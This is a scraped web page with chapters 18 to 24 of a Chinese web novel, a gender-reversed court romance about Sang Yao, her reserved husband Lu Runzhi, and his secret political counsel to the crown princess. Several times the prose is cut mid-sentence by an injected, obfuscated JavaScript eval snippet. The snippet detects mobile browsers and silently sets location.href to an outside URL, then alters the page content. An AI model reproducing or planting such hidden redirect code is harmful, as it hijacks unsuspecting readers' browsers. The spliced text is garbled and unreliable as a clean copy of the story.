陆润之微愣,随后朝他一笑,“妻君不用担心,我既已嫁入宋府,跟皇太女殿下自然是再没有任何关系,皇太女殿下公私分明,自然也不会迁怒于母亲。” 宋瑶注意到陆润之提起皇太女的时候语气熟稔,又联想到他带去宋府的那副不让她看的画,心中隐隐有了计较。 如今朝中什么情况她不知,但陆丞相必定是太女党。 此外她还注意到,陆润之提起太女时,眼底一闪而逝的黯然。 宋瑶随意一笑,“既如此,那我便放心了。” 19. 第十九章 第十八章 陆润之跟在家里时一样,拿了一本书在读,宋瑶剥了两个核桃,坐了一会儿就有些无聊,她拿了陆润之手边另一本书,看了一眼,只觉得两眼发黑,便忍不住找陆润之说话,“你在看什么?” 陆润之将书的封皮给她看。 宋瑶:“哦。” 陆润之翻了一页书,眼都没抬。 宋瑶:“好看吗?” 陆润之吐出两个字,有些敷衍,“好看。” 宋瑶手指在桌子上点了点,“你同我讲讲有什么好看的呗。” 陆润之这才抬眼,微微拧了下眉,“妻君面前那本同我这本内容相似,自己看看便知。”顿了下,补了句,“子非鱼,焉知鱼之乐。” 他说这话的意思便是觉得宋瑶有些烦了,打扰到他看书了。 宋瑶只当不知道他话里的意思,无赖道:“我看不懂。” “咔嚓”一声,她又捏碎了一个核桃。 相处几天,陆润之也算摸清了宋瑶的性子,她最怕无聊,让她一个人待着跟让她坐牢似的,如果有个人在旁边,她就会没话找话,如果不理她的话,她就会一直说下去。 陆润之放下手里的书,看向她的目光有些无奈,“你想聊什么?” 宋瑶吃了个核桃,“没什么呀,你看你的书,不耽误。” 陆润之:“……” 她嘴上这么说,但肯定不让他看书。 陆润之:“要下棋吗?” 宋瑶的目光划过他冻得有些泛红的手,摇了摇头,“不下,冻手。” 陆润之:“那你想聊什么?” 宋瑶环顾了一圈,“你平日里除了看书还会做什么?” 陆润之:“下棋,练琴,练字,画画。” 怪不得养出这么一副不食人间烟火的样子。 宋瑶:“你没有什么圈子里的朋友吗?” 陆润之摇摇头,“也算有吧。” 宋瑶:“那你们一起出去做什么?” 陆润之:“下棋,赏花,作诗。” 宋瑶:“……” 许是熟悉很多,陆润之与她说的多了些,“没出嫁前,经常有人送请帖过来,大多数因着母亲的身份与我交好,我去了几次,发现所谈论内容皆围绕后宅琐事,或是京城适龄女子,久而久之觉得无趣,便很少去了。” 宋瑶有些惊讶,他会跟她说这么多,“你没有同他们聊这些吗?” 陆润之摇摇头,“母亲后宅无人。” 宋瑶点点头,“那确实,还不如看书。” 如果是她,日复一日地过着这样的日子,没有见过外面的世界,可能也不会觉得无聊。 陆润之:“你呢?” “我?”宋瑶想了想原主的生活,挺逍遥自在的,“吃喝玩乐,听曲,看戏,游山玩水。”还有逛花楼,这点肯定不能说的。 闻言,陆润之倒是面色没有一丝变化,既没有对她不求上进的鄙夷,也没有艳羡,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419518|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很平常,接着想了想,似乎有些忧心,“妻君这般,一点都不担心日后吗?” 宋瑶:“当时不觉得。” 陆润之抿了抿了唇,“母亲总有年老的一天,且只有你这么一个女儿,宋家的产业终要你来继承。” 宋瑶敲了个二郎腿,脚尖点了点,无所谓道:“不急,老宋还年轻着,我还未及冠呢。” 听她这么说,陆润之的神色淡了些,“妻君如今不止一个人了,若日后——” 他的话语戛然而止,抿了抿唇,不再言语。 宋瑶一下子愣住了,她能感觉到目前陆润之是真的跟她考虑过以后,哪怕他现在并不喜欢她,她的心忽然一下子就软了,眼中闪过一丝笑意,“夫郎,我可真冤枉,与你成亲以后,我可是起早贪黑跟着母亲学习,你也看到了,怎么能说我没有为日后打算呢。” 她第一次叫他夫郎,像是轻轻落在了心头上。 陆润之垂下眼眸,藏在袖子里的手指动了动。 宋瑶瞧着他如玉般的面庞,总觉得她家夫郎肤白貌美易推倒,不知为何,忽然想起来刚穿过来那天早上醒来,怀里的人香香的,抱在怀里手感很好,她心头热热的,眼眸深了深,大冬天的竟觉得身体有些燥热 宋(老色批)瑶喝了口冷水,压下心里的燥热,转移话题,“子澈今年多大了?” 谁料她话一出,陆润之平静的目光扫过她,“我可记得当初是宋小姐前来提的亲。” 宋瑶:“……” 20. 第二十章 第二十章 宋瑶无法辩驳,当初确实是“她”去提的亲,扒了扒脑海中仅存的记忆碎片,貌似原主也不知他多大。 宋瑶的目光落在陆润之如玉的脸上,他虽故作老成,少年还带着稚气与清澈的五官如何也掩饰不了,像山涧未曾沾染世间凡尘的皑皑白雪,又似夏日刚刚长成的挺拔青竹,是她无法形容的好看,每一处都长在她的审美点上,仅仅这么看着,她的心情就会变好。 好想养,但是养着太费人了。 左不过十七八岁的年级,宋瑶随便蒙了一个,“十七岁。” 陆润之没说话,算是默认,他可比她要大了一岁。 宋瑶面不改色得喝了口冷水,这个壳子里的灵魂可比他大大足了十岁,按照这个世界的年龄来算,她可真是老东西了。 冷风透过窗户穿进来,宋瑶过去合上窗户的缝隙,回来路过陆润之,下意识地为他拢了拢大氅,动作自然,像是做了千百遍一样。 陆润之眸光一怔,垂眸,抿了抿唇,没有阻止她的动作,除了新婚之夜,这是她对他做过最亲密的动作。 宋瑶倒没觉得有什么,只是有些担心他是不是体寒,需不需要调理,回去找大夫给他看看好了。 两人说了会儿话,便到了午饭时间,陆润之将大氅脱掉,吃饭的时候总不好穿,宋瑶担心他被冻着了,要他加件衣服,陆润之摇摇头,坚持不穿。 他没多言,只是看着你,眼神透着拒绝,却令人觉得他一旦做决定的事,谁也改变不了,于是作罢。 吃饭的时候,陆丞相看宋瑶更加不顺眼,话里话外处处给她挖坑,宋瑶一边应付岳母,一边还担心自家夫郎被冻着了,想赶紧结束这场饭局,结果被陆丞相看出来,觉得这女子实在朽木不可雕! 于是最后,宋瑶被岳母拉着,灌了不少酒,幸亏她海量。 午饭结束后,陆丞相公务在身,实在看不得宋瑶讨巧作态的模样,毫不留情把这一对夫妇赶出家门,并勒令宋瑶下次来丞相府时依旧没有长进就再也不要来了。 宋瑶恭恭敬敬应下,面色如常。 丞相府的人哪怕看不起宋瑶,却对她有了改观,能在陆丞相发怒时依旧面不改色,这面皮厚得令人钦佩,日后在陆丞相的监督下必成大事! 妻夫二人乘马车一同回家。 宋瑶坐在陆润之对面,靠在车窗边,半阖着眼,不说话。 陆润之披着她的大氅,他本就不多话,两人相处时,总是宋瑶没话找话闲聊,此时她不说话,气氛就沉默下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆润之别开眼笑了一下,宛若冰雪消融,春光乍泄,窗户透过来的寒风吹拂着他黑色的发丝,像是画里走出来的人。 宋瑶往旁边挪了挪,伏在窗边,头枕在胳膊上,静静地看着他,脑海里浮现出一百种借醉意轻薄他的方法,但都被遏制下去,她虽然醉了,却依旧记得自己的底线在哪里。 有些人招惹之前要想清楚的。 陆润之察觉到她的视线,转过头来,对上她微醺的眸光,视线在空中交汇,宋瑶弯起眼睛,随即眸光下转,眼波流转间,她轻轻掐了自己的食指,移开了视线。 一时安静了下来,只有车轱辘压在马路上的声音,此刻的静谧却不尴尬。 宋瑶靠在窗户边,任由冷风吹着她的头发,她静静地闭着眼睛,任由脑袋晕晕乎乎的,不是很难受,但她不是很想说话,有点渴。 “你别靠在窗边。”陆润之提醒道。 “嗯?”宋瑶迷迷糊糊睁开眼睛,直起身,放下了帘子,“抱歉,忘记你怕冷了。” 她的第一反应竟然是担心他冷不冷。 陆润之眼神中闪过一丝无奈,“吹久了头疼。” 宋瑶的反应慢了半拍,想了一下,她又趴了回去,闭上眼睛,懒懒道:“你不冷就没关系,我没事,让我吹一会儿。” 就这么趴一会儿,没想到睡着了。 “宋瑶?”陆润之轻轻唤了她一声,只见她呼吸绵长,趴在窗边睡着了。 陆润之解下大氅,轻轻盖在了她身上,盯着她的侧脸,端详了半响,才坐回自己的位置。 嫁给她后,出乎意料。 …… 马车缓缓停在宋府门口,青连在外面轻轻喊了一声,“公子,到了。” 陆润之掀开帘子,作出噤声的手势。 青连看到宋瑶靠在窗户边睡着了,而他们家公子的大氅还盖在那粗妇身上,顿时睁大眼睛,那个女人怎么好意思,让公子受冻,自己睡得那么香!不对,宋瑶睡着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419520|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把她叫起来不就行了,公子干嘛要等她,外面多冷啊。 好在没过多久,宋瑶就醒了。 她睁开眼,活动了一下胳膊,下意识抓住从身上花落的大氅,看向陆润之,“到了吗,怎么不叫我?” 陆润之:“刚到。” 大氅上沾染了他身上清冷的气味,宋瑶搭在胳膊上,率先下了马车,然后朝陆润之伸出手,陆润之的手放在她手上时,就像是冰块放在她的温热的手心里。 陆瑶愣了一下,随机抓紧他的手,接他下马车,陆润之站稳后,想将手抽出来,却被紧抓住不放,他抬眼看她,对上她有些不悦的眼神。 宋瑶抿着唇,将胳膊弯的大氅重新披在他身上,接着又抓住了他的手,握在手心里,非常认真道:“你要照顾好自己,不然我会生气。” 上辈子穷的时候,她有一只雪白漂亮的小猫,喜爱极了,哪怕自己穷困潦倒,也会买最好的牛肉给小猫做饭。 她喜爱的东西,哪怕自己过得不好,也要好好呵护着。 现在对陆润之,她大概也是抱着这种心情。 陆润之看着她不似以往清明的双眼,笑了笑。 宋瑶捏了一下他的手,霸道地说:“快答应我。” 陆润之无奈道:“我答应你,快回去吧。” 宋瑶:“好的。” 青连在身后看着宋瑶牵着他家公子的手,下巴都要掉下来了。 22. 第二十二章 第二十二章 喝醉酒的宋瑶虽然不吵不闹,但是在某些方面意外的只做,陆润之依着她的意思,答应了她,宋瑶才进了家门。 前些日子,宋瑶将隔壁房间收拾出来的消息,院里的下人早已知晓,青连更是为公子高兴,在他心里,公子定是不愿意与这粗妇同住一间屋子,此番分房睡,皆大欢喜。 仆人扶着晕晕乎乎的宋瑶,走到分叉口时,青连一个眼神示意将宋瑶扶到隔壁房间,仆人即刻领会。 宋瑶虽有些醉了,但是脑子有七八分清醒,自是将青连的动作收入眼底,却是也没多想,她本就打算与陆润之分房而睡,这样两人都自在,于是不用仆人带路,自己便往隔壁房间走去。 陆润之瞥到她的动向,停下脚步,冷冷淡淡地看着她步伐平稳地朝隔壁房间走去,也不说话。 青连小声道:“公子,她前些日子就把房间收拾出来——” 话没说完,就被陆润之淡淡地打断,“少主喝醉了,走错了方向,你们怎么不拦着点?” 青连卡在喉咙的话戛然而止,他猛地抬头,不可思议地睁大眼睛看着自家公子,他家公子这幅不怒自威的模样他是再熟悉不过,知公子对他擅自做主的行为已经十分不满,只是他不理解为什么,难道公子真的心甘情愿委身于这个不学无术的商人之女吗?即便分房睡,宋家也不敢说什么。 陆润之微微蹙眉,“还愣着做什么?” 青连低下头,一咬牙,亲自过去将宋瑶带了回来。 宋瑶去而复返,将他们的对话听得一清二楚,只是她此时的脑子就像过度负载的CPU,懒得思考太多,既然陆润之愿意,她怎么样都无所谓,左右不过是个睡觉的地方,现在她真的是累极,不想思考太多,但心里也隐约清楚,陆润之恐怕不只是想要跟她好好过日子这么简单。 年轻就是好,倒头就睡。 宋瑶倒在床上,很享受这种感觉,被褥已经沾上了陆润之身上的冷香,她打了个滚。 陆润之瞥了一眼倒在床上的宋瑶,将青连叫到门外。 青连低着头,唯唯诺诺,不知道自己犯了什么错,他无论如何都不敢想,公子可能对那个女人有任何想法,除了外貌,她没有任何优点。 “你可知错?”陆润之的视线轻扫过他,声音冷冷的,带着一股子威严。 青连一瑟缩,立刻跪在冰冷的地板上,“奴知错!” 陆润之俯视着他,“错在哪里?” 青连一咬牙,“奴不该擅作主张。” 陆润之不语,只是眼神愈发冷淡。 青连没有抬头,却感觉到公子的眼神越来越冰冷,不由得瑟瑟发抖,上次公子这么生气还是他不小心弄湿了公子珍藏的书籍,公子也是这般,寥寥几句,不顾多年情谊,就要将他换掉,还是他苦苦哀求,公子才同意他留下。 公子看似与丞相一样,却比丞相更加无情。 只是他不明白,宋瑶何时在公子心里占据这么重要的位置了? 这么冷的天气,青连身上已经冒出了冷汗,他磕了一个头,“奴……奴错在,没有将宋……少主当成主子,求公子饶了奴这一次,奴再也不敢了。” 陆润之挥了挥手,淡声道:“下不为例。” “谢谢公子。”青连伏在地上,猛地松了一口气,后背冷汗淋淋。 陆润之推门而进,看到宋瑶坐在桌前喝冷水,似乎并不意外,两人方才在门外谈话并未刻意压低声音,在房内听得清清楚楚。 宋瑶不清楚他葫芦里卖的什么药,演这出戏给她看是为了什么。 她没说话,只看着他。 陆润之倚在榻上,见她还盯着自己,“你看着我做什么?” 宋瑶拖着腮,挑眉,痞里痞气道:“怎么,我自己的夫郎,还不让看了?” 陆润之睨了她一眼,收回视线。 宋瑶自讨没趣,又给自己倒了杯水,抿了一口。 这回换陆润之盯着宋瑶。 宋瑶莫名其妙,“喝水吗?” 陆润之不说话。 宋瑶有些受不了他盯着自己,“你盯着我做什么?” 陆润之淡淡道:“怎么,还不让盯了?” 他这是将她的话还给她了,宋瑶一噎,索性不与他计较。 身上一股子酒气,宋瑶叫水洗了个澡,洗漱完,换好近身衣,才爬上床,这么一折腾,反倒酒醒了,没有丝毫睡意,瞪着两眼发呆,想起明天还要早起与母亲外出,又有些头疼。 她翻了个身,枕着胳膊,瞧着暖黄灯光下的美人,有些恍惚,还是不敢相信自己竟然结婚了。 结婚对象还是个大美人,还不需要自己养。 宋瑶看着他捧着书读,心道:这么努力做什么呢,又不能参加科举。 忽地,她眼神一闪,敛了眸,她记得原著中,陆润之黑化后确实造了个假身份,参加科举,入朝为官了。 或许,他从未泯灭过心中入世的想法,所以才能在发生一系列的事情之后,一举考中。 不知过了多久,陆润之在青连的服侍下,洗漱完毕,换上白色的睡衣,长发及腰,披散着,轻轻躺在宋瑶身旁。 他一躺下,宋瑶就察觉到一股凉气袭来,心道:这人是冰块做的吗? 两人的被窝是分开的,宋瑶的鼻尖充满了男人的味道,这个世界女人的身体有些敏感,加上她今天喝了点酒,闻着身侧人传来的冷香,身体隐隐还有些躁动,顺带着有些口渴。 或许跟他睡一起,不是一个好的选择。 宋瑶推了推他。 陆润之偏头看她。 借着床头微弱的灯光,宋瑶对上他冷冷淡淡的眸子,干巴巴道:“我渴了。” 陆润之定定地看了她半响,竟然起身,去给她倒了一杯水,递到床边给她。 宋瑶直起身,抬眸扫了一眼他的沉静容颜,垂眸,视线落在他手里的杯子上,抬起手,忽然抓住他的手腕。 炙热的手掌忽然抓住他微凉的手腕,烫的陆润之手一抖,冰冷的一滴水洒在宋瑶的手背上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419521|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她直勾勾地盯着陆润之的眸子,眼中像是有一团火在燃烧。 陆润之知道她是什么意思,从她燥热的体温就可以感受到,他避开了她的视线,却也没有挣脱她的手腕。 空气一点点变热起来。 宋瑶却忽然松开手,接过他的手里的冷水,一饮而尽,绕过他,自己下床走到桌边,猛灌了三杯冷水,才压下身体的燥热。 陆润之垂下头,肩膀的长发滑落,遮住了他的神色,他抿了抿唇,手腕上还残留着她灼热的体温。 宋瑶站在桌前良久,看了一眼门口,眼神有点深,如果今晚踏出这个门,她跟陆润之间的模糊关系,将会被重新定义,如果留下,她也不能当做刚才什么都没发生。 陆润之似乎察觉到她的意图,只定定地看着她。 宋瑶对上他的视线,心头一颤,忽然觉得他坐在那里,等待她的决定,像是一只即将被抛弃的小可怜,她轻轻叹了口气,朝门口走去。 陆润之眼神微动,站起来看着她。 宋瑶却只是走过去,将门锁上,又回到床边,按着他的肩膀坐下,试探着握住他冰冷的手,见他没有反抗,才温声道:“早点睡吧。” 陆润之紧绷的身体忽然放松下来,轻轻“嗯”了一声。 宋瑶轻轻地抚了抚他的长发,既然不舍得,那就先养着了,左不过养着有些费力罢了。 “穿这么少,还敢坐在外面。”宋瑶故意用力捏了一下他的手指,然后将人塞进被窝里,然后给他掖了掖被子,接着把灯熄了,虽然她有些小想法,但是还是老老实实睡在外侧,没动手动脚。 现在还不是时候。 等到躺下,陆润之问她,“你明天还要出去吗?” 宋瑶哼哼两声,“出去赚钱养家。” 陆润之弯了弯眼睛,“能不能带我出去?” 宋瑶偏过头看他,没有应下,反而道:“你不是喜欢在家读书吗?” 陆润之:“读万卷书,不如行万里路。” 宋瑶想了想,倒也是这个理,“可以倒是可以,只是我跟母亲去谈生意,你跟过去,可能会觉得无聊。”她可不觉得这位丞相家的公子会对做生意感兴趣,只是想找个由头出去。 陆润之:“不会,我可以办女装,不给你们添麻烦。” 既然打算养着了,宋瑶自然不会拘着他,索性成全了他,处处为他考虑,“你不用跟着我出去,你自己出去也可以,我给你配两个暗卫保护你,应该没什么大问题。” 等她把话说完,陆润之却沉默了。 宋瑶等了半响,不见他说话,忍不住看他,下一刻却忽然睁大眼睛,被窝里的手指被勾住。 陆润之将半边脸埋在被子里,小声说了句,“谢谢。” 声音隔着被子,有些闷闷的,像羽毛一样轻轻扫过宋瑶的心头,这种感觉就像是她养的小猫,第一次过来,轻蹭她的手,然后轻轻“喵”了一声。 宋瑶的脑袋忽然晕晕乎乎的。 唔。 真可爱。 23. 第二十三章 第二十三章 宋瑶在晕晕乎乎中入睡,梦中似乎做了一个美梦,等她醒来的时候,天已经蒙蒙亮,估摸着到了起床的时间,她直起身,看了一眼身侧的人,觉得内心有点满足,这种感觉说不上来,总之就是起床都有动力了。 她一有动静,陆润之就醒来了,睁开双眼,看向宋瑶。 宋瑶笑了下,既已决定,她变不再故作扭捏,伸手摸了摸他的顺滑的头发,温声道:“你接着睡,我得起床了。” 陆润之点了点头,重新闭上了眼睛。 宋瑶轻手轻脚地起床,简单洗漱完,准备出门,却被叫住。 “……宋瑶。” 宋瑶回头,就看到陆润之披了件长衫,胳膊上搭了件大氅,走到她身边,递给她。 他没有说话,正是如此,这场景更有冲击力,宋瑶忍不住眼神温软,接过大氅,道了声谢,眼睛弯了弯,“晚上回来给你带好吃的。” 陆润之笑了笑。 宋瑶觉得,这么好看的人,她愿意把命给他,真的。 再耽误下去,宋瑶怕自己出不了门了,赶紧离开,陆润之目送她离开。 青连全称目睹,他还是不敢相信,公子会对这样一个女人动心,这个女人可是毁了公子大好前程的元凶,本来公子可以风风光光的嫁给太女,未来父仪天下,都是因为这个女人,才迫使公子屈居后宅。 公子怎么能喜欢上这个女人,从小到大,太女殿下为公子做的事情远比宋瑶这个不学无术的纨绔多得多,两人青梅竹马,都不见公子如此动容。 青连不相信。 吃早餐的时候,宋瑶的嘴角都是上扬的,满面春风荡漾,看得宋琼直牙酸。 “行了行了,嘴角收收,都咧到耳根了。”宋琼虽然嘴上这么说,但是打心底里为自家女儿感到高兴,本以为娶回来一尊大佛,没想到这位公子克己复礼,并没有看不起他们的身份,跟女儿也是琴瑟和鸣,当真是他们家门有幸。 宋瑶收了收嘴角,想起了一件事,“娘,润之出门的话,你们别拘着他。” 宋琼根本没当回事,“我们哪里敢。” 宋家根本没想过拘束着陆润之,一则他的身份摆在那里,他们也不敢,二则宋家不像其他家族一样,有男子不许外出的规矩,当初宋琼艰苦创业的时候,李容女扮男装陪着她东奔西跑,如果没有李容,也没有如今的宋琼。 母女二人吃完饭,一起出门,今天准备去城南的店铺打点生意。 陆润之吩咐青连去打听母女二人的去向,青连虽不知为什么,但也照做。 “她们今天去了城南的一家布铺,说是那边的生意出了点问题。”青连如实汇报打听到的情况。 陆润之轻轻垂眸,从这里到城南得小半天的路程,布匹是宋家的主要来源,能让宋家主出面的定不是小事,他们应该不会很早回来,时间充足。 陆润之合上书籍,从抽屉里拿出一封信,揣进袖子里,吩咐青连,“随我出去一趟。” “是。”青连问道:“公子我们要去哪里,需要找管家安排马车吗?” 陆润之:“不用。” 他从小到大,不怎么出门,但是记性极好,每次出门,都能记住经过的路线。 为了避免惹人注意,陆润之戴上毡帽,遮住了过于出众的容颜,青连早已习惯陆润之的什么事都不喜与旁人说,自是没多问,只跟着他出门,一路来到城里最大的茶楼。 大堂弥漫着沁人心脾的茶香,蒸气袅袅,说书先生的声音抑扬顿挫,这里消费价格高昂,能来这里品茶的都是文人雅士。 店小二见他周身气质,便知非富即贵,忙迎上去。 陆润之声线清冽,“听雪,雅间。” 店小二腰弯得更低,“您楼上请,小心脚下。” 陆润之的气质实在太过出众,哪怕毡帽遮住了容颜,一身气质在人群中格外出众,长身玉立,就像是画本子中冰雪天地之间下凡仙人,令人想窥探他的容貌。 只可惜美人的背影消失在二楼。 青连默不作声跟在陆润之身后,看着模样,公子显然是跟人约好了的,他天天跟在公子身边,也没见到公子跟什么人接触,到底是谁呢。 店小二将他们引到雅间前告退,青连上前敲了敲门。 门打开,眼前的人出现的人,惊了青连一跳。 “陆公子,殿下已经等候多时,请进。” 前来开门的人正是皇太女的贴身侍卫陈茗,里面的人不用多少,正是皇太女。 原来公子要见的人是皇太女! 青连的脚忍不住一软。 陆润之警告似的睨了他一眼,抬脚迈进雅间。 陈茗看了一眼青连,陆润之嫁给宋瑶之前,与皇太女往来密切,两人的仆人自是人士。 青连自知失态,立刻敛了神态,垂下头,心里一团乱麻,他虽觉得宋瑶配不上公子,但从没想过公子会再与皇太女有什么瓜葛,只是见不得公子给宋瑶什么好脸色。 国姓司马,皇太女名唤司马怀瑾,年长陆润之一岁,如今十八,两人自小相识,算得上是青梅竹马,至少在一个月前,两人在外人看来,郎才女貌,天生一对。 司马怀瑾从屏风后面出来,看到陆润之,眼神充满复杂,各种情绪交织在一起,最终化作不甘,她至始至终都想不明白,为什么当初她准备处理掉宋瑶的时候,陆润之拦住了她。 她还记得当初陆润之浑身湿淋淋裹着毯子,脸色苍白,那个贱民匐在地上,浑身湿淋淋的,像淋雨的流浪狗,哭着求饶,而她下令准备杀了那个贱民的时候,陆润之无比平静地问出,“殿下,杀了她,您还会娶我吗?” 她沉默了。 答案是当然不会,堂堂太女,不会娶一个清白有染的男子,哪怕这个男子是她的青梅竹马,丞相之子,因为他在众目睽睽之下,被一个贱民从水里救了出来,浑身湿透,所有人都看到了。 最后她没有杀宋瑶,而陆润之也嫁给了宋瑶。 青连规规矩矩行了礼。 司马怀瑾摆摆手,示意陈茗和青连一起回避,而她的视线始终落在陆润之身上。 青连神色复杂地瞄了一眼陆润之,接着和陈茗一起走出雅间。 司马怀瑾的视线落在陆润之华美的大氅上,笑了一下,“许久未见,子澈变了很多,好像变得畏寒了些,这些日子过得还好吗?” 陆润之态度疏远而有礼,“劳殿下挂念,润之一切安好。” 那张俊美出尘的脸上一片平静,眼神平静无波,从小到大,他一直都是这个样子,就连当初在众目睽睽之下失了贞洁,他的神色都没变过一分一毫,仿佛任何事情都激不起他心中的波澜,当初但凡他求求她,或许他们都还有可能。 司马怀瑾掩下眸中一切情绪,下意识地揽住他的胳膊,将他往茶几前带,“那就好,快做吧,咱们也许久未见了,该好好叙叙旧。” 陆润之却不着声色避开她的触碰,“殿下,我的时间不多。”言下之意便是婉拒叙旧。 司马怀瑾给他倒茶的动作一顿,接着当做什么事情都没发生,从容道:“听子澈的。” 她的言语间透着一股熟稔与亲昵,作为皇太女,言谈举止之间对陆润之已经是极大的尊重与纵容。 陆润之微微皱了皱眉,想说什么,却被她打断。 司马怀瑾拿出两本明黄色的奏折递给他,态度认真了许多,“你看看这两本折子。” 陆润之熟稔地接过,翻开,一目十行,神色渐渐变得认真,半响,他压下折子,看向司马怀瑾,“殿下有什么想法?” 司马怀瑾呷了口茶,手指在折子上点了点,“江南水患这事儿,我打算派工部水部的魏芷去,她经验丰富,在朝中颇有声望,也是母皇器重之人,并且不参与朝中党派之争,是个绝佳人选。” 陆润之听完点点头,“从各方面来说,魏芷确实是个不错的人选,中规中矩。” 司马怀瑾听出他的言下之意,询问道:“不知子澈还有何高见?” 陆润之压下折子,看着她的眼睛,缓缓道:“殿下,确实选魏芷不会错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419522|168965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是你要考虑清楚,陛下将江南水患这一件事交给你到底是何用意?” 司马怀瑾:“自然是为了考验我。” 陆润之:“这是其一。” 司马怀瑾低头想了想,却未说话。 陆润之叹了口气,“其二是陛下也是在给您机会。” 司马怀瑾抬起头。 陆润之接着道:“给您培养自己势力的机会,选择魏芷固然没错,她是当朝老臣,经验与声望在那里,自是无人反对,但是她为人固执,您也知道她不愿意参与党派之争,所以定然不会站在您这边,您选择她,只能说明您会选择人,其他的并不能证明什么。” 司马怀瑾:“确实如此,那依润之之见,谁是最合适的人选?” “魏芷曾经的门徒,孙芩。”陆润之毫不犹豫说出这个人的名字,似乎心中早有答案,“此人颇有才能,却郁郁不得志,一年前也曾投靠过殿下,只是当时殿下未曾应下她,如今正是时候。” 司马怀瑾却微微皱眉,“孙芩初出茅庐,恐怕不能服众。” 陆润之眼中闪过一丝笑意,似乎胜券在握,一切尽在掌握之中,“既如此,殿下可向陛下禀明,魏芷为主将,孙芩为副将,此次江南水患非同小可,殿下最好一同前往,方能彰显殿下对此事的重视。” 司马怀瑾恍然大悟,“孤明白了,多谢子澈指点。” 陆润之:“殿下抬举润之。” 司马怀瑾看着陆润之的面庞,有一瞬间恍惚,陆润之有经国之才,如果他是女子的话,定能成为一代明相,只可惜造化弄人,生错了性别,不过正因为他是男子,如今又嫁给了别人,她用起来才放心。 “那另外一件事……”司马怀瑾又翻开另一本折子。 两人共商国事,这种场景自陆润之十二岁起,不知发生了多少次。 陆润之少年老成,对政事颇有见解,司马怀瑾自从发现他这个天赋,就开始物尽其用,一旦有什么拿不准的就会问他,仿佛他是天生的政客,明明屈居于内宅,却对朝堂之事有着独到的见解。 从某种程度上说,从当今圣上开始让司马怀瑾接触政事开始,司马怀瑾靠着陆润之才一步步坐稳了太女这个位置。 两件政事商讨完,已经过去一个时辰,司马怀瑾又请教了一些其他的事情,三言两语,陆润之就能抓住要害,提出问题的解决办法。 司马怀瑾感激涕零,“多谢子澈指导,怀瑾不胜感激,还望日后子澈能多多指点。” 陆润之眼神闪烁了一下,“殿下,润之已为人夫,恐怕不能如陛下所愿。” 如果不是这次司马怀瑾差人送信给他,言辞恳切,他不会出现。 司马怀瑾皱眉,言语不屑,“区区一个商户算什么,不用理会宋家。” 陆润之叹了一口气,黯然神伤,“殿下总要顾及润之的名声,我这样抛头露面总归影响不好,若是被母亲知道了……” 这话引起了司马怀瑾的重视,若是被陆丞相那个老古板知道了,后果很严重,“既如此,你便男扮女装,乔装打扮一下,用化名来见孤,就以孤的门生的身份,如何?” 陆润之笑了笑,“殿下好计策,既然如此,做事做完全,身份方面就多多劳烦殿下了。” 司马怀瑾呆了呆,已经听不到他在说什么,下意识地应了。 美人一笑,值千金。 陆润之站起来,“如果殿下没有别的事情,润之告退。” 司马怀瑾回过神来,下意识站起来,拉住他的袖子,喊了一声,“子澈。” 陆润之立刻抽回自己的袖子,看向她的神色微冷。 司马怀瑾愣了愣,脚下后退一步。 陆润之作揖,声音微冷,“殿下日后唤润之名讳便可。” 然后转身就走。 司马怀瑾愣在原地,愣愣地看着自己的手,如果不是她的身份,他恐怕都不会见她,在他眼里,她从来都不如一本折子有吸引力,陆润之是没有心的。 她都如此,更别提宋瑶那个贱民了,更不可能入得了润之的眼。 24. 第二十四章 第二十四章 